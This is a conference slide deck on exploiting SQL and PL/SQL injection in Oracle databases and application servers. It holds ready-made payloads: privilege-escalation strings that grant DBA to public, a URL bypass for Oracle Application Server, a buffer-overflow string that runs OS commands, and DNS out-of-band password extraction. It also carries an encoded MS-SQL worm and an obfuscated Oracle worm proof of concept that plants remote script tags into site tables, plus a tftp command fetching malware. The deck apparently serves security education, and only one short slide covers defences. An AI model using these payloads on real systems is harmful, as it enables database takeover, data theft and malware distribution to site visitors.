

Hacking Oracle From WWW

The SQL Injection crash course

Sumit Siddharth
7Safe Ltd., Cambridge, UK

About Me:

- Principal Security Consultant.. @ 7Safe Ltd (UK)
- More than 4 years of Penetration Testing
- Speaker at Defcon, Owasp Au, Troopers etc.
- My Blog: www.notsosecure.com
- 25 slides + 5 Demos = 70 minutes

Agenda

- Exploiting SQL Injections in Oracle.
 - Data Extraction from SQL Injections
 - Privilege escalation
 - O.S Code Execution
- Hacking Oracle Application Servers
- Some Post Exploitation Techniques
- Solution?

So What is SQL Injection

- Unsanitized user input used in SQL Calls
- SQL Calls can be altered to achieve:
 - Return sensitive information(**Confidentiality**)
 - Execution of system code
 - Data can be altered(**Integrity**)
 - Data can be destroyed(**Availability**)
- `sql = "SELECT password FROM users WHERE username = ' " || sUser || " ' "`
- `sql = "SELECT password FROM users WHERE username = 'A' OR 1 =1 -- ' "`

The Art of Exploiting SQL Injection

- **Inband**
- **Out of Band**
- **Blind SQL Injection**

InBand SQL Injection

- Data is extracted using the same channel that is used to inject the **SQL** code
- **Friendly Error Messages**
 - Restriction: Error message length cannot exceed 512 chars
 - Can return multiple columns and multiple row too.
 - Demo
- **Using 'Union' to return the Treasure**
 - Restriction: Mostly limited if SQL Injection is in SELECT query
 - Need to match the exact number of columns and their datatype as in the original SELECT query
 - Demo

Out Of Band (OOB) Channels

- Uses an alternative channel to return data
 - HTTP
 - DNS
- Oracle typically has the following packages executable by PUBLIC for OOB
 - UTL_HTTP
 - HTTPURITYPE
- Example:
 - select `utl_inaddr.get_host_name((select username || '-' || password from sys.user$ where rownum=1))` from dual;
- Demo

Blind SQL Injection

- **Boolean Logic (True And False)**
 - Demo
 - There can be a cases where the boolean logic might not be straight forward
 - Example: SQL Injection in order by, group by
- **Deep Blind SQL Injection**
 - Timing Attacks
 - Refer to : http://www.red-database-security.com/wp/OOW2009_sql_crashcourse_for_developers.pdf

Advanced Exploitation

- Will come back here... first lets look at PL/SQL Injection.

Oracle: How Things Work

- Oracle comes with a lot of stored procedures and functions.
- Mostly these functions and stored procedures run with definer privileges (default).
- In order to make the function execute with the privileges of the user executing it, the function must have 'authid current_user' keyword.
- If you find a SQL (PL/SQL) injection in a function owned by SYS and with 'authid definer', you can run SQL (PL/SQL) as SYS.

PL/SQL

■ What is PL/SQL

- Free Floating chunk of code wrapped between 'begin' and 'end'
- Example:
 - begin
 - Package.procedure('input');
 - End;
- Anonymous PL/SQL block
- Autonomous Transaction

PL/SQL Injection

- Injection in Anonymous PL/SQL block
create or replace procedure orasso.test (q IN varchar2) AS
BEGIN
execute immediate ('begin ' || q || '; end;');
END;
- Attack has no limitation
- Can Execute DML and DDL statements
- Easy to exploit
- Can Execute Multiple statements:
- q=>null;execute immediate 'grant dba to public';end'--

SQL Injection in Oracle:

- PL/SQL Injection
 - Injection in Anonymous PL/SQL block
 - No Restriction
 - Execute DDL, DML
 - Easy
- SQL Injection
 - Injection in Single SQL Statement
 - Restrictions
 - No ';' allowed
 - Need more vulnerabilities
 - Difficult

PL/SQL Injection from Web Apps

- Vulnerable Oracle Application server allows PL/SQL injection
 - Bypass the PL/SQL exclusion list:
 - `http://host:7777/pls/orasso/orasso.home?);execute+immediate+:1;--={PL/SQL}`
 - Execute PL/SQL with permissions of user described in 'DAD' (`orasso_public`)
 - Exploit vulnerable procedures and become DBA
 - Don't rely on 'create function' privileges
 - `LT.COMPRESSWORKSPACETREE` (CPU Oct 2008; milw0rm:7677)
 - `LT.FINDRICSET` (CPU October 2007; milw0rm:4572)
 -100 more of these.....
 - Execute OS code (I Prefer Java)

Hacking OAS with OAP_Hacker.pl

■ OAP_hacker.pl

- Supports O.A.S <=10.1.2.2
- Relies on PL/SQL injection vulnerability
- Exploits vulnerable packages and grants DBA to 'public'
- Generally orasso_public do not have create function privilege
- Exploit based on Cursor Injection; Don't need create function
- OS code execution based on Java
- Demo

PL/SQL Injection

- Custom written Packages deployed on OAS may have PL/SQL Injection

- Example:

```
create or replace procedure orasso.test(q IN varchar2) AS  
BEGIN
```

```
....
```

```
execute immediate ('begin ' || q || '; end;');
```

```
.....
```

```
end;
```

- <http://host/pls/orasso/orasso.test?q=orasso.home>

- [http://host/pls/orasso/orasso.test?q=execute Immediate 'grant dba to public'](http://host/pls/orasso/orasso.test?q=execute%20immediate%20grant%20dba%20to%20public)

SQL Injection In Web Apps.

- Injection in Single SQL statement:

- ▶ e.g. “Select a from b where c=”. '\$input'

- Oracle does not support nested query in SQL

- To execute multiple query we need to find a PL/SQL Injection.

- How can we inject PL/SQL when the web application's SQL Injection allows only SQL?

- If there is a PL/SQL injection vulnerability in a function, then we can use web's SQL Injection to call this function, thereby executing PL/SQL via SQL Injection.

SQL Injection and Vulnerable Functions

- We can call functions in SQL but not procedures
- Exploit Functions vulnerable to Buffer overflow and other issues

```
MDSYS.MD2.SDO_CODE_SIZE('AAAAAAAAAAAAABBBBBBBBBBBBCCCCCCCCCDDDDDDDD  
DDDDDDDDDDDEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE  
FFFGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG  
HHHHHHHHHHHHHHHHHHHHHHHH' || CHR(131) || CHR(195) || CHR(9) || CHR(255) || CHR  
(227) || CHR(251) || CHR(90) || CHR(19) || CHR(124) || CHR(54) || CHR(141) || CHR(67) || CHR(19) || CHR  
(80) || chr(184) || chr(191) || chr(142) || chr(01) || chr(120) || chr(255) || chr(208) || chr(184) || chr(147) || chr(1  
31) || chr(00) || chr(120) || chr(255) || chr(208) || 'dir >c:\dir.txt')--
```

- Exploit Functions vulnerable to PL/SQL Injection
 - If Authid=definer; execute PL/SQL with definer privileges
 - If Authid=current_user; execute PL/SQL; exploit vulnerable packages
 - Privilege escalation; become DBA
 - Execute OS Code

Introducing Dbms_Export_Extension

- Its an Oracle package which has had a number of functions and procedures vulnerable to PL/SQL injections, allowing privilege escalation.
- GET_DOMAIN_INDEX_TABLES(); function vulnerable to PL/SQL Injection; owned by sys; runs as sys
- We can inject PL/SQL within this function and the PL/SQL will get executed as SYS.
- The Function can be called from SQL queries such as SELECT, INSERT, UPDATE etc.

PL/SQL Injection in dbms_export_extension

```
FUNCTION GET_DOMAIN_INDEX_TABLES ( INDEX_NAME IN VARCHAR2, INDEX_SCHEMA IN
    VARCHAR2, TYPE_NAME IN VARCHAR2, TYPE_SCHEMA IN VARCHAR2, READ_ONLY IN
    PLS_INTEGER, VERSION IN VARCHAR2, GET_TABLES IN PLS_INTEGER)
RETURN VARCHAR2 IS
BEGIN
[...]
```

```
STMTSTRING := 'BEGIN ' || "" || TYPE_SCHEMA || "." || TYPE_NAME ||
    ".ODCIIndexUtilCleanup(:p1); ' || 'END;';
```

```
DBMS_SQL.PARSE(CRS, STMTSTRING, DBMS_SYS_SQL.V7);
DBMS_SQL.BIND_VARIABLE(CRS,':p1',GETTABLENAMES_CONTEXT);
[...]
```

```
END GET_DOMAIN_INDEX_TABLES;
```

Example

- select

```
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_
TABLES('FOO','BAR','DBMS_OUTPUT'.PUT(:P1);EXECU
TE IMMEDIATE "DECLARE PRAGMA
AUTONOMOUS_TRANSACTION;BEGIN EXECUTE
IMMEDIATE "" grant dba to public"";END;";END;--
','SYS',0,'1',0) from dual
```

- Fixed in CPU April 2006.

- Vulnerable versions: Oracle 8.1.7.4, 9.2.0.1 - 9.2.0.7, 10.1.0.2 - 10.1.0.4, 10.2.0.1-10.2.0.2, XE

Bsqlbf v2.4

■ Uses this Oracle exploit to achieve the following:

- ▶ Privilege escalation (Type 3)
- ▶ OS code execution (Type 4)
 - with Java (default; stype 0)
 - with plsql_native_make_utility (Oracle 9; stype 1)
 - with dbms_scheduler (oracle 10; stype 2)
- ▶ File system read/write access (Type 5;Java only)
- ▶ Demo available at www.ntsossecure.com
- ▶ v2.4 also contains dbms_repcat_rc exploit

VALIDATE_REMOTE_RC()

- Function vulnerable to PL/SQL Injection
- Runs as SYS
- By default only executable by 'SYS' user
- SQL Injection with SYS privileges is not very common.
- Fixed in CPU, July 2009.
- Use Bsqlbf v2.4 to exploit this.
 - Allows OS code execution

Solving the Problem

- **Use Bind Parameters**

- Example:
- Revoke Permissions from un required Procedures
- Apply Patches
- Implement Least Privileges policy

SQL Injection w0rms

■ MS-SQL:

```
▶ s=290';DECLARE%20@S%20NVARCHAR(4000);=CAST(0x6400650063006C00610072006500200040006D00200076006100720063006800610072002800380030003000300029003B00730065007400200040006D003D00270027003B00730065006C00650063007400200040006D003D0040006D002B0027007500700064006100740065005B0027002B061002E006E0061006D0065002B0027005D007300650074005B0027002B0062002E006E0061006D0065002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C0027002B0062002E006E0061006D0065002B002700290029002B00270027003C0073006300720069007000740020007300720063003D00220068007400740070003A002F002F0079006C00310038002E006E00650074002F0030002E006A00730022003E003C002F00730063007200690070074003E00270027003B0027002000660072006F006D002000640062006F002E007300790073006F0062006A006500630074007300200061002C00640062006F002E007300790073006F006C0075006D006E007300200062002C00640062006F002E007300790073007400790070006500730020006300200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D0027005500270061006E006400200062002E00780074007900700065003D0063002E0078007400790070006500200061006E006400200063002E006E0061006D0065003D002700760061007200630068006100720027003B00730065007400200040006D003D005200450056004500520053004500280040006D0029003B00730065007400200040006D003D0073007500620073007400720069006E006700280040006D002C0050004100540049004E004400450058002800270025003B00250027002C0040006D0029002C00380030003000300029003B00730065007400200040006D003D005200450056004500520053004500280040006D0029003B006500780065006300280040006D0029003B00%20AS%20NVARCHAR(4000));EXEC(@S);--
```

■ Oracle:

```
▶ http://127.0.0.1:81/ora4.php?name=1 and 1=(select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'.PUT(:P1);EXECUTE IMMEDIATE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE "" begin execute immediate """" alter session set current_schema=SCOTT """"; execute immediate """"commit"""";for rec in (select chr(117)||chr(112)||chr(100)||chr(97)||chr(116)||chr(101)||chr(32)||T.TABLE_NAME||chr(32)||chr(115)||chr(101)||chr(116)||chr(32)||C.column_name||chr(61)||C.column_name||chr(124)||chr(124)||chr(39)||chr(60)||chr(115)||chr(99)||chr(114)||chr(105)||chr(112)||chr(116)||chr(32)||chr(115)||chr(114)||chr(99)||chr(61)||chr(34)||chr(104)||chr(116)||chr(116)||chr(112)||chr(58)||chr(47)||chr(47)||chr(119)||chr(119)||chr(119)||chr(46)||chr(110)||chr(111)||chr(116)||chr(115)||chr(111)||chr(115)||chr(101)||chr(99)||chr(117)||chr(114)||chr(101)||chr(46)||chr(99)||chr(111)||chr(109)||chr(47)||chr(116)||chr(101)||chr(115)||chr(116)||chr(46)||chr(106)||chr(115)||chr(34)||chr(62)||chr(60)||chr(47)||chr(115)||chr(99)||chr(114)||chr(105)||chr(112)||chr(116)||chr(62)||chr(39) as foo FROM ALL_TABLES T,ALL_TAB_COLUMNS C WHERE T.TABLE_NAME = C.TABLE_NAME and T.TABLESPACE_NAME like chr(85)||chr(83)||chr(69)||chr(82)||chr(83) and C.data_type like chr(37)||chr(86)||chr(65)||chr(82)||chr(67)||chr(72)||chr(65)||chr(82)||chr(37) and c.data_length>200) loop EXECUTE IMMEDIATE rec.foo;end loop;execute immediate """"commit"""";end;"";END;";END;--, 'SYS',0,'1',0) from dual)--
```

What 'could' the worm do

- Update certain database tables
 - ▶ The website not starts to distribute malware
 - ▶ Pwn legitimate users of the site with browser exploits
- There are enough 'ie' 0 days out there.
- OS code execution allows distribution of other worms such as Conflicker!
 - ▶ `select LinxRunCmd('tftp -i x.x.x.x GET conflicker.exe')` from dual
- Exploit other Oracle components on internal network
 - ▶ Oracle Secure back-up; Remote Command Injection (CPU 2009)
 - ▶ SQL Injection in Oracle Enterprise Manager (CPU 2009)
 - ▶ TNS Listener exploits (milw0rm: 8507)
 - ▶100 other things to do....

Demos

- Demo 1: Hacking OAS with OAS_hacker.pl

- Demo 2: Privilege escalation; Extracting data with SYS privileges (visit www.ntsossecure.com)

- Demo 3: O.S code execution; With Java (@ ntsossecure)

- Demo 4: P.O.C for a potential Oracle SQL Injection

worm

Thank You

References:

- [http://www.red-database-security.com/exploits/oracle_sql_injection_oracle_kupw\\$worker2.html](http://www.red-database-security.com/exploits/oracle_sql_injection_oracle_kupw$worker2.html)
- http://www.red-database-security.com/exploits/oracle_sql_injection_oracle_lt_findricset.html
- <http://www.breach.com/resources/breach-security-labs/alerts/breach-security-labs-releases-alert-on-oracle-application-server-plsql-injection-flaw.html>
- http://www.red-database-security.com/exploits/oracle-sql-injection-oracle-dbms_export_extension.html
- http://sec.hebei.com.cn/bbs_topic.do?forumID=18&postID=4275&replyID=0&skin=1&saveSkin=true&pages=0&replyNum
- <http://milw0rm.com/exploits/3269>
- <http://www.securityfocus.com/bid/17699>
- http://www.orafaq.com/wiki/PL/SQL_FAQ#What_is_the_difference_between_SQL_and_PL.2FSQL.3F
- <http://www.red-database-security.com/wp/confidence2009.pdf>
- <http://alloracletech.blogspot.com/2008/07/authid-definer-vs-authid-currentuser.html>
- http://www.owasp.org/index.php/Testing_for_Oracle
- http://www.red-database-security.com/wp/google_oracle_hacking_us.pdf
- http://lab.mediaservice.net/notes_more.php?id=Oracle_Portal_for_Friends
- [http://www.red-database-security.com/exploits/oracle_sql_injection_oracle_kupw\\$worker2.html](http://www.red-database-security.com/exploits/oracle_sql_injection_oracle_kupw$worker2.html)
- <http://www.blackhat.com/presentations/bh-usa-05/bh-us-05-fayo.pdf>
- And Lots more; can't fit in the space here....